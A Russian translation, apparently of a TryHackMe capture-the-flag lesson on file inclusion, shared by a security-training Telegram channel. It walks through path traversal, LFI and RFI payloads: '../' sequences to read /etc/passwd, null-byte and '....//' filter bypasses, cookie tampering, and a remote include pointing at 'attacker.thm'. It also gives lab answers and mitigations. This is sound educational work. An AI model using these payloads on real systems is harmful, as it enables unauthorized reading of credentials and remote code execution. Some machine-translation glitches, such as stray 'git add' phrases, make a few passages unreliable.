День 31 - File Inclusion
1. Введение
Цель этой встречи — предоставить вам необходимые знания для эксплуатации уязвимостей, связанных с включением файлов, включая локальное включение файлов ( LFI ), удаленное включение файлов ( RFI ) и обход каталогов. Также мы обсудим риски, связанные с этими уязвимостями в случае их обнаружения, и необходимые меры по их устранению. Мы приведем несколько практических примеров каждой уязвимости, а также предложим задачи для самостоятельной работы.
В некоторых сценариях веб-приложения пишутся таким образом, чтобы запрашивать доступ к файлам в заданной системе, включая изображения, статический текст и так далее, посредством параметров. Параметры — это строки параметров запроса, прикрепленные к URL-адресу, которые могут использоваться для получения данных или выполнения действий на основе ввода пользователя. Следующая диаграмма иллюстрирует основные части URL-адреса.
Например, параметры используются в поиске Google, где GET- запросы передают ввод пользователя в поисковую систему. https://www.google.com/search?q=TryHackMe . Если вы не знакомы с этой темой, вы можете посмотреть модуль «Как работает веб», чтобы понять концепцию.
Рассмотрим сценарий, в котором пользователь запрашивает доступ к файлам с веб-сервера. Сначала пользователь отправляет HTTP- запрос на веб-сервер, который включает файл для отображения. Например, если пользователь хочет получить доступ к своему резюме и отобразить его в веб-приложении, запрос может выглядеть следующим образом: http ://webapp.thm/get.php ?file=userCV.pdf , где file — это параметр, а userCV.pdf — это требуемый файл для доступа.
Почему возникают уязвимости, связанные с включением файлов?
Уязвимости, связанные с включением файлов, часто встречаются и используются в различных языках программирования для веб-приложений, таких как PHP , которые написаны и реализованы некачественно. Основная проблема этих уязвимостей заключается в проверке входных данных, когда пользовательские данные не проходят санитарную обработку или проверку, и пользователь контролирует их. Если входные данные не проверены, пользователь может передать в функцию любые входные данные, что и приводит к уязвимости.
В чём заключается риск включения файла в базу данных?
По умолчанию злоумышленник может использовать уязвимости включения файлов для утечки данных, таких как код, учетные данные или другие важные файлы, связанные с веб-приложением или операционной системой. Более того, если злоумышленник может записывать файлы на сервер любым другим способом, включение файлов может быть использовано в сочетании с этим для получения удаленного выполнения команд ( RCE ).
2. Разверните виртуальную машину
Разверните прилагаемую виртуальную машину , чтобы следовать и применять описанную методику, а также выполнять задания. Для доступа к этой виртуальной машине убедитесь, что вы подключены к сети TryHackMe через OpenVPN, или получите к ней доступ напрямую из AttackBox, который можно запустить, нажав синюю кнопку в правом верхнем углу .
Пожалуйста, перейдите по ссылке http ://MACHINE_IP/ , после чего откроется следующая страница:
3. Обход пути
Уязвимость веб-безопасности, также известная как обход каталогов , позволяет злоумышленнику читать ресурсы операционной системы, такие как локальные файлы на сервере, где запущено приложение. Злоумышленник использует эту уязвимость, манипулируя и злоупотребляя URL-адресом веб-приложения для поиска и доступа к файлам или каталогам, хранящимся за пределами корневого каталога приложения.
Уязвимости обхода пути возникают, когда пользовательский ввод передается в функцию, например, file_get_contents в PHP . Важно отметить, что сама функция не является основной причиной уязвимости. Часто причиной уязвимости является некачественная проверка или фильтрация входных данных. В PHP вы можете использовать file_get_contents для чтения содержимого файла. Более подробную информацию о функции можно найти здесь .
На следующем графике показано, как веб-приложение хранит файлы в каталоге /var/www/app . Идеальный сценарий — это когда пользователь запрашивает содержимое файла userCV.pdf из указанного пути /var/www/app/CVs .
Мы можем проверить параметр URL, добавив полезные нагрузки, чтобы посмотреть, как ведет себя веб-приложение. Атаки обхода пути, также известные как атаки точка-точка-слэш , используют перемещение каталога на один шаг вверх с помощью двойных точек ../ . Если злоумышленник обнаружит точку входа, которая в данном случае представляет собой get.php ? file= , то он может отправить что-то вроде следующего: http ://webapp.thm/get.php ?file=.. / ../../../etc/ passwd
Предположим, что проверка входных данных отсутствует, и вместо доступа к PDF-файлам в каталоге /var/www/app/CVs веб-приложение получает файлы из других каталогов, в данном случае из /etc/passwd . Каждая запись перемещается на один каталог, пока не достигнет корневого каталога / . Затем каталог меняется на /etc , и оттуда приложение считывает файл passwd .
В результате веб-приложение отправляет пользователю содержимое файла.
Аналогично, если веб-приложение работает на сервере Windows, злоумышленнику необходимо указать пути к файлам Windows. Например, если злоумышленник хочет прочитать файл boot.ini , расположенный в c:\boot.ini , он может попытаться сделать следующее в зависимости от целевой версии ОС :
http://webapp.thm/get.php?file=../../../../boot.iniили
http://webapp.thm/get.php?file=../../../../windows/win.ini
Здесь действует тот же принцип, что и в операционных системах Linux, где мы поднимаемся по каталогам, пока не достигнем корневого каталога, который обычно находится по адресу .
Иногда разработчики добавляют фильтры, чтобы ограничить доступ только к определенным файлам или каталогам. Ниже приведены некоторые распространенные файлы операционной системы, которые вы можете использовать при тестировании.
Содержит сообщение или идентификатор системы, который будет выведен перед приглашением к входу в систему.
Управляет общесистемными переменными по умолчанию, такими как переменные экспорта, маска создания файла (umask), типы терминалов, почтовые сообщения, указывающие на поступление новой почты.
содержит всех зарегистрированных пользователей, имеющих доступ к системе.
содержит информацию о паролях пользователей системы.
содержит историю команд для root пользователя.
Содержит глобальные системные сообщения, включая сообщения, регистрируемые во время запуска системы.
все электронные письма для rootпользователя
Приватные SSH- ключи для root-пользователя или любого известного действительного пользователя на сервере.
содержит параметры загрузки для компьютеров с прошивкой BIOS.
Вопрос: Какая функция вызывает уязвимости обхода пути в PHP?
4. Включение локальных файлов (LFI)
Включение локальных файлов ( LFI )
Атаки LFI на веб-приложения часто происходят из-за недостаточной осведомленности разработчиков о безопасности. В PHP использование таких функций, как include , require , include_once и require_once, часто приводит к уязвимости веб-приложений. В этой статье мы будем рассматривать PHP , но стоит отметить, что уязвимости LFI также встречаются при использовании других языков, таких как ASP, JSP или даже в приложениях Node.js. Эксплойты LFI основаны на тех же принципах, что и обход пути.
В этом разделе мы рассмотрим различные сценарии LFI и способы их использования.
#1. Предположим, веб-приложение поддерживает два языка, и пользователь может выбрать между английским и арабским языками.
<?PHP include($_GET["lang"]); ?>
Приведённый выше PHP - код использует GET- запрос с параметром URL lang для подключения файла страницы. Вызов можно выполнить , отправив следующий HTTP-запрос: http://webapp.thm/index.php?lang=EN.phpдля загрузки английской страницы или http://webapp.thm/index.php?lang=AR.phpдля загрузки арабской страницы, где файлы EN.php и AR.php находятся в одном каталоге .
Теоретически, мы можем получить доступ к любому читаемому файлу на сервере и отобразить его из приведенного выше кода, если нет никакой проверки входных данных. Допустим, мы хотим прочитать файл /etc/passwd, содержащий конфиденциальную информацию о пользователях операционной системы Linux, мы можем попробовать следующее:http://webapp.thm/get.php?file=/etc/passwd
В данном случае это работает, потому что в функции include не указана директория и отсутствует проверка входных данных.
Теперь примените то, что мы обсуждали, и попробуйте прочитать файл /etc/passwd. Также ответьте на вопрос №1 ниже.
#2. Далее, в следующем коде разработчик решил указать каталог внутри функции.
<?PHP
include("languages/". $_GET['lang']);
?>
В приведенном выше коде разработчик решил использовать функцию include для вызова PHP- страниц из каталога languages только через параметры lang .
Если проверка входных данных отсутствует, злоумышленник может манипулировать URL-адресом, заменив входные данные языка другими файлами, чувствительными к операционной системе, например , /etc/passwd .
Полезная нагрузка снова выглядит аналогично обходу пути , но функция include позволяет нам включать любые вызываемые файлы в текущую страницу. Ниже будет представлен эксплойт:
http ://webapp.thm/index.php ? lang=../../../../etc / passwd
Теперь примените то, что мы обсуждали, попробуйте прочитать файлы на сервере, определите каталог, указанный в функции include, и ответьте на вопрос №2 ниже.
пробуем прочитать welcome.php и получается - пробуем /etc/passwd
Пробуем лабу 2 и видем функцию include которая лежит в каталоге includes
Вопрос: Попробуйте выполнить задание №1 и прочитать файл /etc/passwd . Каким будет URI запроса?
Ответ: /lab1.php?file=/etc/passwd
Вопрос: В лабораторной работе №2, какой каталог указан в функции include?
5. Включение локальных файлов (LFI) — продолжение
В этом задании мы немного углубимся в LFI . Мы обсудили несколько методов обхода фильтра внутри функции включения.
#3. В первых двух случаях мы проверили код веб-приложения и поняли, как его использовать для взлома. Однако в этом случае мы проводим тестирование методом «черного ящика», то есть у нас нет исходного кода. В данном случае ошибки имеют важное значение для понимания того, как данные передаются и обрабатываются в веб-приложении.
В этом сценарии у нас есть следующая точка входа: http://webapp.thm/index.php?lang=EN. Если мы введем недопустимые данные, например, THM , мы получим следующую ошибку.
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
Сообщение об ошибке раскрывает важную информацию. При вводе THM в качестве входных данных появляется сообщение об ошибке, показывающее, как выглядит функция включения: include(languages/THM.php);.
Если внимательно посмотреть на каталог, можно заметить, что функция, включающая файлы в каталоге languages, добавляет .php в конец записи. Таким образом, допустимый ввод будет выглядеть примерно так: index.php?lang=EN, где файл EN находится внутри указанного каталога languages и называется EN.php.
Кроме того, сообщение об ошибке содержало еще одну важную информацию о полном пути к каталогу веб-приложения, а именно: /var/www/html/THM-4/.
Чтобы этим воспользоваться, нам нужно применить ../приём, описанный в разделе об обходе каталогов, чтобы выйти из текущей папки. Давайте попробуем следующее:
http://webapp.thm/index.php?lang=../../../../etc/passwd
Обратите внимание, что мы использовали число 4, ../потому что знаем, что путь имеет четыре уровня /var/www/html/THM-4. Но мы всё равно получаем следующую ошибку:
Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
Кажется, мы могли бы выйти из каталога PHP , но функция include всё равно считывает входные данные с добавлением .phpв конце! Это говорит нам о том, что разработчик указывает тип файла для передачи функции include. Чтобы обойти эту проблему, мы можем использовать NULL BYTE, который равен %00.
Использование нулевых байтов — это метод внедрения, при котором закодированное в URL представление, например %00 или 0x00 в шестнадцатеричном формате, складывается с предоставленными пользователем данными для завершения строк. Можно представить это как попытку обмануть веб-приложение, чтобы оно проигнорировало все, что следует за нулевым байтом.
Добавив нулевой байт в конец полезной нагрузки, мы указываем функции включения игнорировать все, что находится после нулевого байта, что может выглядеть следующим образом:
include("languages/../../../../../etc/passwd%00").".php");что эквивалентноinclude("languages/../../../../../etc/passwd");
Примечание: трюк с %00 исправлен и не работает в PHP 5.3.4 и выше.
Теперь примените то, что мы показали в лабораторной работе №3, и попробуйте прочитать файлы /etc/passwd, ответив на вопрос №1 ниже.
#4. В этом разделе разработчик решил отфильтровать ключевые слова, чтобы избежать раскрытия конфиденциальной информации! Фильтруется файл /etc/passwd. Существует два возможных способа обойти фильтр. Во-первых, используя трюк с нулевым байтом %00 или указанием текущего каталога в конце отфильтрованного ключевого слова. /..Эксплойт будет похож на http://webapp.thm/index.php?lang=/etc/passwd/. Мы также можем использовать http://webapp.thm/index.php?lang=/etc/passwd%00.
Чтобы было понятнее, если мы попробуем применить эту концепцию в файловой системе cd .., используя команду `git add`, это вернет нас на один шаг назад; однако, если мы выберем команду `git add` cd ., результат останется в текущем каталоге. Аналогично, если мы попробуем команду `git add` /etc/passwd/.., результатом будет `git add`, /etc/и это потому, что мы переместились на один шаг в корневой каталог. Теперь, если мы попробуем команду `git add` /etc/passwd/., результатом будет `git add`, /etc/passwdпоскольку точка (.) указывает на текущий каталог.
Теперь применим этот метод в лабораторной работе №4 и разберемся, как читать файл /etc/passwd.
#5. Далее, в следующих сценариях разработчик начинает использовать проверку входных данных, фильтруя некоторые ключевые слова. Давайте протестируем и проверим сообщение об ошибке!
http://webapp.thm/index.php?lang=../../../../etc/passwd
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
Если мы посмотрим на предупреждение в этом include(languages/etc/passwd)разделе, то увидим, что веб-приложение заменяет ../строку пустой. Существует несколько способов обойти это.
Во-первых, чтобы обойти это ограничение, мы можем отправить следующую полезную нагрузку: ....//....//....//....//....//etc/passwd.
Это работает потому, что PHP-фильтр сопоставляет и заменяет только первую ../найденную подстроку и не выполняет повторный проход, оставляя то, что показано на изображении ниже.
Попробуйте выполнить лабораторную работу №5 и прочитать файл /etc/passwd, обойдя фильтр!
#6. Наконец, мы обсудим случай, когда разработчик заставляет include читать данные из определенного каталога! Например, если веб-приложение запрашивает ввод, который должен включать каталог, например: http://webapp.thm/index.php?lang=languages/EN.phpтогда, чтобы воспользоваться этим, нам нужно включить каталог в полезную нагрузку следующим образом: ?lang=languages/../../../../../etc/passwd.
Попробуйте выполнить это задание в лабораторной работе №6 и определите, какой каталог должен присутствовать в поле ввода.
Вопрос: Попробуйте выполнить задание №3 и прочитать файл /etc/passwd . Как выглядит запрос?
Ответ: /lab3.php?file=../../../../etc/passwd%
Вопрос: Какая функция вызывает обход каталогов в лабораторной работе №4?
Вопрос: Попробуйте выполнить лабораторную работу №6 и проверьте, какой каталог должен быть указан в поле ввода?
Вопрос: Попробуйте выполнить задание №6 и прочтите файл /etc/os-release . Что означает значение VERSION_ID ?
6. Удаленное включение файлов (RFI)
Удаленное включение файлов ( RFI)
Удалённое включение файлов ( RFI ) — это метод включения удалённых файлов в уязвимое приложение. Как и LFI , RFI возникает при некорректной проверке пользовательского ввода, что позволяет злоумышленнику внедрить внешний URL-адрес в функцию включения . Одним из требований для RFI является наличие включенной опции allow_url_fopen .
Риск RFI выше, чем LFI, поскольку уязвимости RFI позволяют злоумышленнику получить возможность удаленного выполнения команд ( RCE ) на сервере. Другие последствия успешной атаки RFI включают:
- Раскрытие конфиденциальной информации
- Межсайтовая скриптовая атака ( XSS )
- Отказ в обслуживании ( DoS )
Для успешной RFI- атаки, при которой злоумышленник размещает вредоносные файлы на своем сервере, внешний сервер должен взаимодействовать с сервером приложений . Затем вредоносный файл внедряется в функцию include посредством HTTP- запросов, и содержимое вредоносного файла выполняется на уязвимом сервере приложений.
На рисунке выше показан пример шагов для успешной RFI- атаки! Допустим, злоумышленник размещает PHP- файл на своем собственном сервере по адресу http ://attacker.thm/cmd.txt , где cmd.txt содержит сообщение " Hello THM" .
<?PHP echo "Hello THM"; ?>
Сначала злоумышленник внедряет вредоносный URL-адрес, указывающий на его сервер, например, http : //webapp.thm/index.php ?lang= http ://attacker.thm/cmd.txt . Если проверка входных данных отсутствует, вредоносный URL-адрес передается в функцию include. Затем сервер веб-приложения отправляет GET - запрос на вредоносный сервер для получения файла. В результате веб-приложение включает удаленный файл в функцию include, чтобы выполнить PHP - файл на странице и отправить содержимое выполнения злоумышленнику. В нашем случае на текущей странице где-то должно отображаться сообщение Hello THM .
Перейдите по следующему URL-адресу лаборатории: http://10.49.179.55/playground.php , чтобы попробовать провести атаку с использованием радиочастотных помех (RFI ) .
7. Очистка
Разработчикам важно знать об уязвимостях веб-приложений, о том, как их обнаружить и как предотвратить. Для предотвращения уязвимостей, связанных с включением файлов, можно предложить следующие распространенные варианты:
- Поддерживайте актуальность системы и сервисов, включая фреймворки веб-приложений, до последней версии.
- Отключите обработку ошибок PHP , чтобы избежать утечки пути к приложению и другой потенциально важной информации.
- Межсетевой экран веб-приложений (WAF) — хороший вариант для снижения риска атак на веб-приложения.
- Отключите некоторые функции PHP , которые могут привести к уязвимостям включения файлов, если ваше веб-приложение в них не нуждается, например, allow_url_fopen on и allow_url_include .
- Тщательно проанализируйте веб-приложение и разрешите использование только тех протоколов и PHP- оберток, которые в этом необходимы.
- Никогда не доверяйте пользовательскому вводу и обязательно реализуйте надлежащую проверку входных данных на предмет включения файлов.
- Внедрить систему белых списков для имен и расположений файлов, а также черных списков.
8. Испытание
Отличная работа! Теперь примените полученные знания, чтобы захватить флаги! Ознакомление с основами веб-протокола HTTP может помочь вам справиться с этими задачами.
Убедитесь, что подключенная виртуальная машина запущена и работает, затем перейдите по ссылке : http://10.49.179.55/challenges/index.php
Этапы тестирования LFI
- Найдите точку входа, которая может быть получена через GET , POST , COOKIE или значения заголовков HTTP !
- Введите допустимый текст, чтобы увидеть, как работает веб-сервер.
- Введите недопустимые данные, включая специальные символы и распространенные имена файлов.
- Не всегда доверяйте тому, что введенные вами данные в формы соответствуют вашим намерениям! Используйте адресную строку браузера или такой инструмент, как Burpsuite.
- При вводе некорректных данных проверьте наличие ошибок, чтобы определить текущий путь к веб-приложению; если ошибок нет, то метод проб и ошибок может оказаться лучшим вариантом.
- Разберитесь в проверке входных данных и в наличии каких-либо фильтров!
- Попробуйте внедрить допустимую запись для чтения конфиденциальных файлов.
Вопрос: Захват флага Flag1 в файле /etc/flag1
Вопрос: Захват флага Flag2 в файле /etc/flag2
Измените настройки файлов cookie, изменив параметр Value, и сначала замените «guest» на «Admin». Затем замените «Admin» на «../../../../../etc/flag2%00». %00 используется для удаления завершающей части .php.
Вопрос: Захват флага Flag2 в файле /etc/flag3
Проверьте страницу и нажмите «Инспектор». Замените GET на POST и обновите страницу. Используйте Burp и в параметре файла введите: ../../../../etc/flag3%00, и, наконец, после отправки запроса вы получите флаг.
Вопрос: Получите RCE в лабораторной работе #Playground /playground.php с помощью RFI для выполнения команды hostname . Какой будет результат?
Для выполнения команды, использующей имя хоста, сначала создадим локально в системе файл с именем хоста PHP и сохраним его. Содержимое файла будет выглядеть следующим образом:
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!